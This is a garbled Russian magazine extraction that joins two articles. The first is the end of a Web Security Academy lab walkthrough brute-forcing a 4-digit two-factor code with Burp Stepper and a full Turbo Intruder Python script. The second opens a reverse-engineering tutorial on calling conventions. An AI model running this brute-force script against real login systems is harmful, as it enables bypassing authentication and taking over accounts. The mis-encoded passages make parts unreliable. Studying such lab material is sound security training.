íîñ òè øàãîâ è îïðå äåëÿòü ðåãóëÿð íûå âûðàæå íèÿ äëÿ èçâëå ÷åíèÿ çíà- 

÷åíèé èç îòâå òîâ, êîòîðûå çàòåì ìîãóò áûòü èñïîëü çîâàíû â ïîñ ëåäó- 

þùèõ øàãàõ.

Ус тановим его и вос поль зуем ся им для решения нашей задачи.

WARNING

Очень важ но! Если ты дела ешь это пос ле пре- 
дыду щего экспе римен та, отклю чи соз данные
ранее пра вила обра бот ки сес сий и уда ли мак- 
росы!

Мо дуль Stepper поз воля ет выб рать ряд зап росов и объ явить в каж дом из них
перемен ные, которые зап рос получа ет от пре дыду щего шага. Затем он под- 
став ляет их, а так же перемен ные, получен ные из тела отве та при помощи
регуляр ных выраже ний, и переда ет сле дующе му зап росу. Такая прос тая
и понят ная связ ка.
1. Во вклад ке Proxy выбира ем три зап роса, которые нам нуж ны для получе- 

ния сес сии, пер вичной аутен тифика ции и извле чения CSRF-токена. Вот
они: , , . Выделив дан ные зап росы,
щел каем на них пра вой кноп кой мыши и в под разде ле Extensions нажима-
ем кноп ку Add 3 items to Stepper → New Sequence. Нам пред ложат выб рать
для этой пос ледова тель нос ти наз вание. Я назову ее .

GET /login POST /login GET /login2

evil
 сле ди, что бы пакеты были перене сены в пра виль ном поряд ке!

Для это го нуж но, что бы пер вые пакеты были выше пос ледних при сор- 
тиров ке во вклад ке Proxy (это реша ется сор тиров кой по номерам пакетов
от мень ших к боль шим).

Âàæ íî:

2. Пе рехо дим в модуль Stepper, который появил ся во вклад ках с осталь ными
модуля ми.

3. Здесь мы уви дим нашу пос ледова тель ность и три пакета, про нуме рован- 
ные от 1 до 3. Каж дый из пакетов мы можем пов торно отпра вить, нажав
на кноп ку Execute Step, что бы получить при мер тела отве та, и про тес- 
тировать каж дый шаг.

4. Вы пол ним пер вый шаг, нажав кноп ку Execute Step. Соз дадим пер вую
перемен ную для хра нения и переда чи иден тифика тора сес сии, нажав
на кноп ку Add Variable в ниж нем пра вом углу модуля. Назовем перемен ную

 и добавим ей усло вие поис ка в поле Condition: 
 Таким обра зом у нас появит ся пер вая перемен ная

сес сии, которую мы будем проб расывать по осталь ным зап росам
и исполь зовать пов торно.

session
.session=([\d\w]+)

5. Так же добавим вто рую перемен ную токена CSRF, которую проб росим
на сле дующий зап рос отправ ки учет ных дан ных. Наж мем кноп ку Add
Variable, назовем перемен ную  и добавим усло вие нахож дения ее
в теле отве та в поле Condition со сле дующим зна чени ем: 

.

csrf
name="csrf" 

value="([\w\d]+)"
Вот что получи лось у меня пос ле выпол нения этих шагов.

Пер вичная нас трой ка Stepper

6. Те перь мож но перей ти к сле дующе му зап росу отправ ки учет ных дан ных
и исполь зовать в нем перемен ные  и . Для это го перехо дим
к сле дующе му шагу (Step 2) и вмес то сущес тву ющих там зна чений сес сии
и CSRF-токена под ста вим обра щение к перемен ным в сле дующем виде:

 и . Получит ся что-то вро де это го:

session csrf

$VAR:session$ $VAR:csrf$

  POST /login HTTP/1.1
 Host: ac3f1f861fe209fb80374867009900fe.web-security-academy.net
 Cookie: session=$VAR:session$

 Content-Type: application/x-www-form-urlencoded
 Content-Length: 70

csrf=$VAR:csrf$&username=carlos&password=montoya 

7. Вы пол ним этот вто рой шаг нажати ем на кноп ку Execute Step и получим
ответ, где нас попыта ются перенап равить на стра ницу  и выдадут
нам новый иден тифика тор сес сии, который нам сно ва нуж но зах ватить
при помощи регуляр ных выраже ний и передать на сле дующий шаг №  3.
Соз даем такую же перемен ную  как и в пун кте 4, и перехо дим
к шагу № 3.

/login2

session

8. На шаге № 3 не забыва ем сно ва изме нить зна чение сес сии на перемен- 
ную  и выпол няем зап рос, так как нам прос то нуж но
получить токен CSRF для пос ледне го шага. Пос ле выпол нения зап роса
сно ва добав ляем пар синг токена CSRF в виде перемен ной , как мы
это делали в пун кте 5 ранее.

$VAR:session$

csrf

9. Те перь мы можем поп робовать выпол нить всю пос ледова тель ность и про- 
верить ее работос пособ ность. Наж мем на кноп ку Execute Sequence
в самом низу окна модуля. Видим, что пос ледова тель ность выпол нилась
кор рек тно и на пос леднем шаге мы получа ем ответ с пред ложени ем ввес- 
ти OTP-код.

Те перь наша задача — запус тить дан ную пос ледова тель ность 10 тысяч
раз. Для это го перено сим POST-зап рос  из вклад ки Proxy
в Intruder.

/login2

10. В панели Intruder нам нуж но убрать сим волы под ста новок  в полях сес сии
и CSRF-токена и оста вить под ста нов ку толь ко в поле  вот так:

.

§
mfa-code

mfa-code=§1337§
11. Для того что бы шаги нашей пос ледова тель нос ти из модуля Stepper выпол- 

нялись для каж дого зап роса из Intruder, добавим в заголов ки зап роса сле- 
дующее: 

.
X-Stepper-Execute-Before: [Название твоей 

последовательности]
12. Так же под ста вим име на наших перемен ных  и 

в пакет Intruder, толь ко испра вим их на 
 и . В Intruder

у меня получил ся сле дующий пакет зап роса:

$VAR:session$ $VAR:csrf$
$VAR:[Название твоей

последовательности]:session$ $VAR:[Здесь тоже]:csrf$

  POST /login2 HTTP/1.1
 Host: ac311f2c1f2abcbd807689da0068009a.web-security-academy.net
 Cookie: session=$VAR:evil:session$

 Content-Type: application/x-www-form-urlencoded
 X-Stepper-Execute-Before: evil

 Content-Length: 51

csrf=$VAR:evil:csrf$&mfa-code=§1337§ 

В дан ном при мере имя моей пос ледова тель нос ти — .evil
Те перь перед каж дым зап росом из Intruder будет выпол нять ся пос- 

ледова тель ность ранее под готов ленных зап росов, которые переда дут
в пакет получен ные зна чения сес сии и CSRF-токена.

13. Пос ледний шаг, нас тра иваем наг рузку во вклад ке Payloads, точ но так же,
как мы это делали в пре дыду щем раз деле. Выбира ем в Payload Type зна- 
чение Numbers и ука зыва ем циф ры, которые мы хотим генери ровать:

.From: 0, To: 9999, Step: 1, Min integer digits: 4
14. За пус каем нашу ата ку! Отсле живать отправ ленные пакеты мож но

в появив шей ся вклад ке Logger или при помощи модуля Logger++.

В этот раз мне повез ло боль ше, мой код был . Что важ ного мож но
заметить? В отли чие от пре дыду щего вари анта мы не огра ниче ны одним
потоком и соз дали пять потоков, а самые умные мог ли отклю чить галоч ку Set
Connection: close в опци ях наг рузки и уда лить этот заголо вок из пакетов
в Stepper и Intruder, что бы уве личить ско рость работы.

0261

Сде лаем выводы.

Âîç ìîæíîñ òè:

из-за того что модуль Stepper под держи вает сес сии, переда вая зна чение
сес сии и токена от зап роса к зап росу, мы можем исполь зовать мно гопо- 
точ ное исполне ние зап росов и наши перемен ные не будут кон флик товать
в потоках;

•

нам ста новят ся дос тупны перек рес тные ата ки, ког да мы можем запус кать
работу нес коль ких пос ледова тель нос тей парал лель но;

•

на тив но понят ная нас трой ка перено са сос тояний от зап роса к зап росу
и лег ко добав ляемый заголо вок , который
запус кает Stepper для любого модуля.

•
X-Stepper-Execute-Before:

Ïðîá ëåìû:

на самом деле Stepper не поз воля ет исполь зовать так мно го потоков,
как хотелось бы. Око ло трех потоков дей стви тель но успе вают работать
вмес те, но из-за осо бен ностей кода модуля боль шее их количес тво толь- 
ко тор мозит выпол нение;

•

при ходит ся вруч ную нас тра ивать перемен ные для каж дого зап роса, что
может выг лядеть изну ряюще скуч но.

•

Дан ный пла гин под ходит ско рее для исполь зования его с модулем Repeater,
о чем раз работ чики пре дуп режда ли нас в при ветс твен ном сооб щении.

Ñïîñîá 3. Èñïîëüçîâàíèå ïëàãèíà Turbo Intruder

Turbo Intruder — один из самых мощ ных инс тру мен тов Burp Suite, и его дол жен
осво ить каж дый ува жающий себя поль зователь Burp. Его так же мож но 

.
ска- 

чать с GitHub
Turbo Intruder пред став ляет собой рас ширение Burp Suite для отправ ки

боль шого количес тва зап росов HTTP и ана лиза резуль татов. Оно приз вано
допол нить Burp Intruder, обра баты вая ата ки, тре бующие исклю читель ной ско- 
рос ти, про дол житель нос ти или слож ности. Этот модуль отли чают сле дующие
осо бен ности.

Быс тро та: Turbo Intruder исполь зует стек HTTP, соз данный вруч ную с нуля
с уче том ско рос ти. В резуль тате на мно гих целях он может серь езно обог- 
нать даже мод ные асин хрон ные скрип ты на Go (на самом деле стек мож но
выб рать, и боль шинс тво из них будут тебе зна комы).

•

Мас шта биру емость: Turbo Intruder может дос тичь плос кого исполь зования
памяти, что поз воля ет про водить надеж ные мно год невные ата ки. Его так- 
же мож но запус кать в headless-окру жении через коман дную стро ку.

•

Гиб кость: ата ки кон фигури руют ся с помощью Python. Это поз воля ет
выпол нять слож ные тре бова ния, нап ример под писан ные зап росы и мно- 
гос тупен чатые пос ледова тель нос ти атак. Кро ме того, поль зователь ский
стек HTTP поз воля ет обра баты вать неп равиль но сфор мирован ные зап- 
росы, которые лома ют дру гие биб лиоте ки.

•

Удобс тво: скуч ные резуль таты могут быть авто мати чес ки отфиль тро ваны
с помощью усо вер шенс тво ван ного алго рит ма дифов, адап тирован ного
из Backslash Powered Scanner. Это озна чает, что ты можешь запус тить ата- 
ку и получить полез ные резуль таты в два кли ка.

•

Для исполь зования Turbo Intruder необ ходимо зна ние основ Python. Тем
не менее все, что нам нуж но для начала, — это уста новить Turbo Intruder
из модуля Extender.

Пос ле уста нов ки сра зу же перей дем к решению задачи.
1. Вы берем самый пер вый пакет в пос ледова тель нос ти во вклад ке Proxy

(пакет ) и наж мем на него пра вой кноп кой мыши. А даль ше
выберем пункт Extensions → Send to turbo intruder.

GET /login

2. В открыв шей ся панели Turbo Intruder появит ся зап рос и при меры скрип- 
тов, которые мож но выб рать для исполь зования и модифи кации. В дан ном
слу чае все, что нам нуж но для победы, — это написать скрипт, который
поз волит решить задание. Ниже я при веду свой при мер кода и объ ясню
логику скрип та (сде лай мне скид ку на качес тво, вспом нив о том, что пен- 
тесте ры не уме ют кодить):

 import re
 import time

# Регулярки для вытаскивания идентификаторов сессии и CSRF-токенов
  re_csrf = 'name="csrf" value="([\w\d]+)"'

  re_session = 'session=([\d\w]+)'

  iterable = 0

  def queueRequests(target, wordlists):
    global engine
   # Включаем один запрос на один коннект, чтобы не нарушать логику 
выполнения, коннекты в соответствии с тем, что выдержит приложение.
   # Все эти значения придется калибровать от сервера к серверу. 
Сервер задачи не очень хорошо держит высокую нагрузку, поэтому 
ограничимся пятью параллельными соединениями
     engine = RequestEngine(endpoint='https://
ac051f441e762a3780359cb6002300a2.web-security-academy.net:443',
concurrentConnections=5,requestsPerConnection=1)

   # Запускаем первые запросы, которые спровоцируют запуск 
последующих запросов.
   # Делаем задержку в одну секунду, чтобы потоки не исполнялись 
синхронно, а чередовались.
      for x in xrange(1,6):

        print '1. GET /login Request'
       engine.queue(target.req,'')
       time.sleep(1)

  def handleResponse(req, interesting):
    global engine
    global iterable

      if 'Location: /my-account' in req.response:
       # Если мы в ответе получили данный заголовок, значит, мы 
победили
       table.add(req)

        print 'You Win!'
        return None

      if 'Incorrect security code' in req.response:
       # Если мы получили в ответе сообщение о неправильно 
введенном коде, значит, мы использовали одну попытку, и тогда мы 
запускаем новую итерацию запросов
       table.add(req)

        print '1. GET /login Request'
       engine.queue(target.req,'')

        return None

      if 'Please enter your 4-digit security code' in req.response:
       # Если в ответе мы получаем предложение ввести ОТР, то 
отправляем запрос с попыткой ввода ОТР

          match_csrf = re.search(re_csrf, req.response)
          match_session = re.search(re_session, req.getRequest())

         req = '''POST /login2 HTTP/1.1\r\nHost: 
ac051f441e762a3780359cb6002300a2.web-security-academy.net\r\nCookie: 
session=%s\r\nContent-Type: application/x-www-form-urlencoded\r\n
Content-Length: 51\r\n\r\ncsrf=%s&mfa-code=%s'''

        print '4. POST /login2 Request'
        engine.queue(req, [match_session.group(1),match_csrf.group(1)

,str(iterable).zfill(4)])
         iterable += 1

          print 'Iterable: ' + str(iterable)
        return None

      if 'Location: /login2' in req.response:
       # Если в ответе мы получаем сообщение о переходе на 
страницу /login2, значит, мы ранее ввели корректные креды и теперь 
получаем новый идентификатор сессии и переходим на страницу для 
взятия CSRF для запроса с OTP

          match_session = re.search(re_session, req.response)

         req = '''GET /login2 HTTP/1.1\r\nHost: 
ac051f441e762a3780359cb6002300a2.web-security-academy.net\r\nCookie: 
session=%s\r\n\r\n'''

        print '3. GET /login2 Request'

        engine.queue(req, match_session.group(1))
        return None

      if '<form class=login-form method=POST action=/login>' in req.
response:
       # Если первый запрос был выполнен успешно, значит, мы 
получим страницу с предложением ввода логина и пароля, вводим логин 
и пароль

          match_session = re.search(re_session, req.response)
          match_csrf = re.search(re_csrf, req.response)

         req = '''POST /login HTTP/1.1\r\nHost: 
ac051f441e762a3780359cb6002300a2.web-security-academy.net\r\nCookie: 
session=%s\r\nContent-Type: application/x-www-form-urlencoded\r\n
Content-Length: 70\r\n\r\ncsrf=%s&username=carlos&password=montoya'''

        print '2. POST /login Request'
        engine.queue(req, [match_session.group(1),match_csrf.group(1

)])
        return None

Так как в Turbo Intruder нет воз можнос ти удоб но под держи вать сес сию меж ду
зап росами, при ходит ся делать это руками, соз давая новые зап росы на осно- 
ве иден тифика торов сес сии, получен ных из пре дыду щих зап росов.

В пер вом приб лижении логика работы скрип та такова. Я запус каю пять
пер вичных зап росов, которые выпол няют ся в пяти парал лель ных соеди нени- 
ях. Далее ответ на каж дый зап рос обра баты вает ся. Обра бот чик отве тов ста- 
вит усло вие на то, что получил ожи даемый ответ, и даль ше выпол няет сле- 
дующий по логике зап рос. Нап ример, пос ле получе ния отве та с приг лашени- 
ем вво да пароля выпол няет ся зап рос вво да логина и пароля и так далее.

При помощи дан ного скрип та мне уда лось выпол нить 400 попыток
(~1500 зап росов) за 30 секунд и решить задание при мер но 

, чем в прош лых при мерах. Если быть чес тным, то мож но было пот ратить
чуть боль ше вре мени на калиб ровку парамет ров ,

 и  и решить задачу еще быс трее, но мне
хва тило и это го.

â 20 ðàç áûñ- 

òðåå

concurrentConnections
requestsPerConnection pipeline

Под ведем ито ги для это го при мера.

Âîç ìîæíîñ òè:

Turbo Intruder может выжать из при ложе ния мак сималь ную ско рость;•
пос коль ку мы пишем код на Python, мож но заложить в инс тру мент логику
поч ти любой слож ности;

•

край не удоб но филь тро вать выпол ненные зап росы в таб лице резуль татов,
а так же мож но задавать свои поля к зап росам для сор тиров ки и филь тра- 
ции.

•

Ïðîá ëåìû:

нуж но писать код, и это мало отли чает ся от написа ния скрип тов с нуля,
хоть и дает боль шое пре иму щес тво в исполь зовании под готов ленных абс- 
трак ций для мно гопо точ ного и парал лель ного выпол нения зап росов;

•

нет докумен тации к инс тру мен ту, кро ме ряда при меров, которых тебе дол- 
жно хва тить;

•

в наибо лее быс трых движ ках зап росов для Intruder зап росы и отве ты
не логиру ются в модули Logger или Logger++, что не поз воля ет удоб но
прос матри вать про исхо дящее в сети. При ходит ся исполь зовать спо собы
отладки, встро енные в сам Turbo Intruder и его абс трак ции.

•

ÇÀÊËÞ×ÅÍÈÅ

Лич но мне импо ниру ет инс тру мент Turbo Intruder, но для нович ков модуль
Stepper или встро енные мак росы могут ока зать ся про ще в исполь зовании.
Тем не менее для реаль ных задач мак росы и Stepper могут не подой ти из-за
сво ей мед литель нос ти.

Так же сто ит ска зать, что в каж дом при мере я оста вил нес коль ко путей
улуч шения ско рос ти работы или уве личе ния количес тва попыток при мер но
в два раза при нез начитель ном уве личе нии количес тва зап росов. Если ты
при дума ешь улуч шения, поделись ими в ком мента риях. Кро ме того, будет
здо рово, если ты рас ска жешь нам о дру гих вари антах решения этой задачи.

https://www.youtube.com/watch?v=0nCz00uFER4
https://github.com/CoreyD97/Stepper
https://github.com/PortSwigger/turbo-intruder
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ВЗЛОМ

Как извес тно, аргу мен ты фун кций переда ются в фун кцию
при ее вызове. Опре делив их, мож но разоб рать ся в том,
как эта фун кция работа ет. Одна ко обна ружить аргу мен ты
в дизас сем бли рован ном коде — неп ростая задача. Сегод- 
няшняя статья поможет тебе эту задачу решить.

Фундаментальные основы хакерства
Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

Иден тифика ция аргу мен тов фун кций — клю чевое зве но в иссле дова нии
дизас сем бли рован ных лис тингов. Поэто му при готовь чай и печень ки, раз- 
говор будет дол гим. В сегод няшней статье мы рас смот рим спи сок сог- 
лашений о переда че парамет ров, исполь зуемых в раз ных язы ках прог рамми- 
рова ния и ком пилято рах. В довесок мы рас смот рим при ложе ние, в котором
мож но отсле дить переда чу парамет ров, а так же опре делить их количес тво
и тип. Это может быть весь ма нет риви аль ной задачей, осо бен но если один
из парамет ров — струк тура.

Су щес тву ет три спо соба передать аргу мен ты фун кции: через стек, регис- 
тры и ком биниро ван ный — через стек и регис тры одновре мен но. К это му
спис ку вплот ную при мыка ет и неяв ная переда ча аргу мен тов через гло баль- 
ные перемен ные.

Са ми же аргу мен ты могут переда вать ся либо по зна чению, либо по ссыл-
ке. В пер вом слу чае фун кции переда ется копия соот ветс тву ющей перемен- 
ной, а во вто ром — ука затель на саму перемен ную.

ÑÎÃËÀØÅÍÈß Î ÏÅÐÅÄÀ×Å ÏÀÐÀÌÅÒÐÎÂ

Для успешной сов мес тной работы вызыва ющая фун кция дол жна не толь ко
знать про тотип вызыва емой, но и «догово рить ся» с ней о спо собе переда чи
аргу мен тов: по ссыл ке или по зна чению, через регис тры или через стек. Если
через регис тры — ого ворить, какой аргу мент в какой регистр помещен,
а если через стек — опре делить порядок занесе ния аргу мен тов и выб рать
«ответс твен ного» за очис тку сте ка от аргу мен тов пос ле завер шения вызыва- 
емой фун кции.

Не однознач ность механиз ма переда чи аргу мен тов — одна из при чин
несов мести мос ти раз личных ком пилято ров. Кажет ся, почему бы не зас тавить
всех про изво дите лей ком пилято ров при дер живать ся какой-то одной схе мы?
Увы, это при несет боль ше проб лем, чем решит.

Каж дый механизм име ет свои дос тоинс тва и недос татки и, что еще хуже,
тес но свя зан с самим язы ком. В час тнос ти, «сиш ные» воль нос ти с соб- 
людени ем про тоти пов фун кций воз можны имен но потому, что аргу мен ты
из сте ка вытал кива ет не вызыва емая, а вызыва ющая фун кция, которая навер- 
няка пом нит, что она переда вала. Нап ример, фун кции  переда ются два
аргу мен та — количес тво клю чей коман дной стро ки и ука затель на содер- 
жащий их мас сив. Одна ко, если прог рамма не работа ет с коман дной стро кой
(или получа ет ключ каким-то иным путем), про тотип  может быть объ- 
явлен и так: .

main

main
main()

На пас кале подоб ная выход ка при вела бы либо к ошиб ке ком пиляции,
либо к кра ху прог раммы, так как в нем стек очи щает непос редс твен но
вызыва емая фун кция. Если она это го не сде лает (или сде лает неп равиль но,
вытол кнув не то же самое количес тво машин ных слов, которое ей было
переда но), стек ока жет ся нес балан сирован ным и все рух нет. Точ нее,
у материн ской фун кции «сле тит» вся адре сация локаль ных перемен ных,
а вмес то адре са воз вра та в сте ке ока жет ся, что глюк на душу положит.

Ми нусом «сиш ного» решения явля ется нез начитель ное уве личе ние раз- 
мера генери руемо го кода, ведь пос ле каж дого вызова фун кции при ходит ся
встав лять машин ную коман ду (и порой не одну) для вытал кивания аргу мен тов
из сте ка, а у пас каля эта коман да вне сена непос редс твен но в саму фун кцию
и потому встре чает ся в прог рамме один-единс твен ный раз.

Не най дя золотой середи ны, раз работ чики ком пилято ров решили исполь- 
зовать все дос тупные механиз мы переда чи дан ных, а что бы спра вить ся
с проб лемой сов мести мос ти, стан дарти зиро вали каж дый из механиз мов,
вве дя ряд сог лашений.
1.  (обоз нача емое cdecl) пред писыва ет засылать аргу мен ты

в стек спра ва налево в поряд ке их объ явле ния, а очис тку сте ка воз лага ет
на пле чи вызыва ющей фун кции. Име на фун кций, сле дующих С-сог- 
лашению, пред варя ются сим волом под черки вания _, авто мати чес ки
встав ляемо го ком пилято ром. Ука затель  (в прог раммах, написан ных
на C++) переда ется через стек пос ледним по сче ту аргу мен том.

Ñ‑ñîã ëàøåíèå

this

2.  (обоз нача емое PASCAL) пред писыва ет засылать
аргу мен ты в стек сле ва нап раво в поряд ке их объ явле ния и воз лага ет
очис тку сте ка на саму вызыва ющую фун кцию. Обра ти вни мание: в нас- 
тоящее вре мя клю чевое сло во PASCAL счи тает ся уста рев шим и выходит
из упот ребле ния, вмес то него мож но исполь зовать ана логич ное сог- 
лашение WINAPI.

Ïàñ êàëü‑ñîã ëàøåíèå

3.  (обоз нача емое stdcall) явля ется гиб ридом
С- и пас каль-сог лашений. Аргу мен ты засыла ются в стек спра ва налево,
но очи щает стек сама вызыва емая фун кция. Име на фун кций, сле дующих
стан дар тно му сог лашению, пред варя ются сим волом под черки вания _,
а закан чива ются суф фиксом @, за которым сле дует количес тво бай тов,
переда ваемых фун кции. Ука затель  переда ется через стек пос- 
ледним по сче ту аргу мен том.

Ñòàí äàð òíîå ñîã ëàøåíèå

this

4.  пред писыва ет переда вать аргу мен ты
через регис тры. Ком пилято ры от Microsoft и Embarcadero под держи вают
клю чевое сло во , но интер пре тиру ют его по-раз ному. Име на
фун кций, сле дующих сог лашению , пред варя ются сим волом ,
авто мати чес ки встав ляемым ком пилято ром.

Ñîã ëàøåíèå áûñ òðî ãî âûçîâà

fastcall
fastcall @

5.  Если явное объ явле ние типа вызова
отсутс тву ет, ком пилятор обыч но исполь зует собс твен ные сог лашения,
выбирая их по сво ему усмотре нию. Наиболь шему вли янию под верга ется
ука затель , боль шинс тво ком пилято ров при вызове по умол чанию
переда ют его через регистр. У Microsoft это , у Embarcadero — .
Осталь ные аргу мен ты так же могут передать ся через регис тры, если опти- 
миза тор пос чита ет, что так будет луч ше. Механизм переда чи и логика
выбор ки аргу мен тов у всех раз ная и наперед неп ред ска зуемая, раз бирай- 
ся по ситу ации.

Ñîã ëàøåíèå ïî óìîë ÷àíèþ.

this
RCX RAX

x64

Вмес те с появ лени ем архи тек туры x64 для нее было изоб ретено толь ко одно
новое сог лашение вызова, заменив шее собой все осталь ные:

пер вые четыре целочис ленных парамет ра, в том чис ле ука зате ли, переда- 
ются в регис трах , , , ;

•
RCX RDX R8 R9

пер вые четыре зна чения с пла вающей запятой переда ются в пер вых
четырех регис трах рас ширения SSE:  — ;

•
XMM0 XMM3

вы зыва ющая фун кция резер виру ет в сте ке прос транс тво для аргу мен тов,
переда ющих ся в регис трах. Вызыва емая фун кция может исполь зовать
это прос транс тво для раз мещения содер жимого регис тров в сте ке;

•

лю бые допол нитель ные парамет ры переда ются в сте ке;•
ука затель или целочис ленный аргу мент воз вра щает ся в регис тре .
Зна чение с пла вающей запятой воз вра щает ся в регис тре .

• RAX
XMM0

Од нако бла года ря обратной сов мести мос ти с x86 сов ремен ные про цес соры
на базе x86_64 так же под держи вают все перечис ленные спо собы переда чи
парамет ров.

Сто ит отме тить, что регис тры , , , а так же  — изме- 
няемые, тог да как , , , ,  — неиз меня емые. Что
это зна чит? Это свой ство было добав лено в архи тек туру x64, оно озна чает,
что зна чения пер вых могут быть изме нены непос редс твен но в вызыва емой
фун кции, тог да как зна чения вто рых дол жны быть сох ранены в памяти
в начале вызыва емой фун кции, а в ее кон це, перед воз вра щени ем, — вос ста- 
нов лены.

RAX RCX RDX R8...R11
RBX RBP RDI RSI R12...R15

ÖÅËÈ È ÇÀÄÀ×È

При иссле дова нии фун кции перед нами сто ят сле дующие задачи: опре- 
делить, какое сог лашение исполь зует ся для вызова, под счи тать количес тво
аргу мен тов, переда ваемых фун кции (и/или исполь зуемых фун кци ей), и,
наконец, выяс нить тип и наз начение самих аргу мен тов. Нач нем?

Тип сог лашения гру бо иден тифици рует ся по спо собу вычис тки сте ка. Если
его очи щает вызыва емая фун кция, мы име ем дело c cdecl, в про тив ном слу- 
чае это либо stdcall, либо PASCAL. Такая неоп ределен ность в отож дест вле нии
выз вана тем, что под линный про тотип фун кции неиз вестен и, ста ло быть,
порядок занесе ния аргу мен тов в стек опре делить невоз можно. Единс твен ная
зацеп ка: зная ком пилятор и пред полагая, что прог раммист исполь зовал тип
вызовов по умол чанию, мож но уточ нить тип вызова фун кции. Одна ко в прог- 
раммах под Windows широко исполь зуют ся оба типа вызовов: и PASCAL (он
же WINAPI), и stdcall, поэто му неоп ределен ность по-преж нему оста ется.

Впро чем, порядок переда чи аргу мен тов ничего не меня ет: имея в наличии
и вызыва ющую, и вызыва емую фун кции, меж ду переда ваемы ми и при нима- 
емы ми аргу мен тами всег да мож но уста новить вза имную однознач ность. Или,
про ще говоря, если дей стви тель ный порядок переда чи аргу мен тов известен
(а он и будет известен, см. вызыва ющую фун кцию), то знать оче ред ность рас- 
положе ния аргу мен тов в про тоти пе фун кции уже ни к чему.

Дру гое дело — биб лиотеч ные фун кции, про тотип которых известен. Зная
порядок занесе ния аргу мен тов в стек, по про тоти пу мож но авто мати чес ки
вос ста новить тип и наз начение аргу мен тов!

Продолжение статьи →

mailto:yazevsoft@gmail.com
https://xakep.ru/author/yurembo/
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Как уже было ска зано выше, аргу мен ты могут переда вать ся либо через стек,
либо через регис тры, либо и через стек, и через регис тры сра зу, а так же
неяв но через гло баль ные перемен ные.

Ес ли бы стек был задей ство ван толь ко для переда чи аргу мен тов, под счи- 
тать их количес тво было бы отно ситель но лег ко. Увы, стек активно исполь- 
зует ся и для вре мен ного хра нения регис тров с дан ными. Поэто му, встре тив
инс трук цию «затал кивания» , не торопись иден тифици ровать ее как аргу- 
мент. Узнать количес тво бай тов, передан ных фун кции в качес тве аргу мен тов,
невоз можно, но дос таточ но лег ко опре делить количес тво бай тов, вытал кива- 
емых из сте ка пос ле завер шения фун кции!

PUSH

Ес ли фун кция сле дует сог лашению stdcall (или PASCAL), она навер няка
очи щает стек коман дой , где  и есть иско мое зна чение в бай тах. Хуже
с cdecl-фун кци ями. В общем слу чае за их вызовом сле дует инс трук ция 

, где  — иско мое зна чение в бай тах, но воз можны и вари ации: отло- 
жен ная очис тка сте ка или вытал кивание аргу мен тов в какой-нибудь сво бод- 
ный регистр. Впро чем, отло жим голово лом ки опти миза ции на потом, а пока
огра ничим ся лишь кру гом неоп тимизи рующих ком пилято ров.

RET n n
ADD

RSP, n n

Ло гич но пред положить, что количес тво занесен ных в стек бай тов рав но
количес тву вытал кива емых, ина че пос ле завер шения фун кции стек ока жет ся
нес балан сирован ным и прог рамма рух нет (о том, что опти мизи рующие ком- 
пилято ры допус кают дис баланс сте ка на некото ром учас тке, мы пом ним,
но погово рим об этом потом). Отсю да сле дует: количес тво аргу мен тов рав но
количес тву передан ных бай тов, делен ному на раз мер машин ного сло ва.
Под машин ным сло вом понима ется не толь ко два бай та, но и раз мер опе ран- 
дов по умол чанию, в 32-раз рядном режиме машин ное сло во рав но четырем
бай там (двой ное сло во), в 64-раз рядном режиме машин ное сло во —
это учет верен ное сло во (восемь бай тов).

Вер но ли это? Нет! Далеко не вся кий аргу мент занима ет ров но один эле- 
мент сте ка. Взять тот же тип int, отъ еда ющий толь ко полови ну. Или сим воль- 
ную стро ку, передан ную не по ссыл ке, а по непос редс твен ному зна чению:
она «ску шает» столь ко бай тов, сколь ко захочет. К тому же стро ка может
засылать ся в стек (как и струк тура дан ных, мас сив, объ ект) не коман дой ,
а с помощью ! Кста ти, наличие  — явное сви детель ство переда чи
аргу мен та по зна чению.

PUSH
MOVS MOVS

Ес ли я успел окон чатель но тебя запутать, то поп робу ем раз ложить
по полоч кам тот кавар дак, что обра зовал ся в тво ей голове. Итак, ана лизом
кода вызыва ющей фун кции уста новить количес тво передан ных через стек
аргу мен тов невоз можно. Даже количес тво передан ных бай тов опре деля ется
весь ма неуве рен но. С типом переда чи пол ный мрак. Поз же мы к это му
еще вер немся, а пока вот при мер.  — эле- 
мент  — что это: аргу мент, переда ваемый по зна чению (то есть кон- 
стан та ), или ука затель на неч то, рас положен ное по сме щению

, и тог да, ста ло быть, переда ча про исхо дит по ссыл ке? С ходу опре- 
делить это невоз можно, не прав да ли?

PUSH 0x404040 / CALL MyFunc
0x404040
0x404040

0x404040

Но не вол нуй ся, нам не приш ли кран ты — мы еще пово юем! Боль шую
часть проб лем реша ет ана лиз вызыва емой фун кции. Выяс нив, как она
манипу лиру ет передан ными ей аргу мен тами, мы уста новим и их тип,
и количес тво! Для это го нам при дет ся поз накомить ся с адре саци ей аргу мен- 
тов в сте ке, но, преж де чем прис тупить к работе, рас смот рим в качес тве
неболь шой раз минки сле дующий при мер:

#include <stdio.h>
#include <string.h>

  struct XT {
    char s0[20];
    int x;
};

      void MyFunc(double a, struct XT xt) {
      printf("%f,%x,%s\n", a, xt.x, &xt.s0[0]);
}

  int main() {
    XT xt;
     strcpy_s(&xt.s0[0], 13, "Hello,World!");
     xt.x = 0x777;
    MyFunc(6.66, xt);
}

Вы вод нашего при ложе ния

Ре зуль тат его ком пиляции ком пилято ром Microsoft Visual C++ с вклю чен ной
под дер жкой плат формы x64 и в релиз ном режиме, но с вык лючен ной опти- 
миза цией (/Od) выг лядит так:

      main proc near
      var_58 = byte ptr -58h

   Dst      = byte ptr -38h
      var_24 = dword ptr -24h
      var_20 = qword ptr -20h

; Инициализируем стек
     push rsi
     push rdi

От сутс твие явной ини циали зации регис тров говорит о том, что, ско рее все го,
они прос то сох раня ются в сте ке, а не переда ются как аргу мен ты. К тому же,
как мы пом ним, на плат форме x64 пер вые четыре парамет ра целочис ленно го
типа или ука зате ли переда ются в регис трах про цес сора: , , , .
Если при сутс тву ют допол нитель ные аргу мен ты, то они переда ются по ста рин- 
ке — через стек. Меж ду тем если аргу мен ты переда вались дан ной фун кции
через регис тры  и , то их засыл ка в стек впол не может прес ледовать
цель переда чи аргу мен тов сле дующей фун кции.

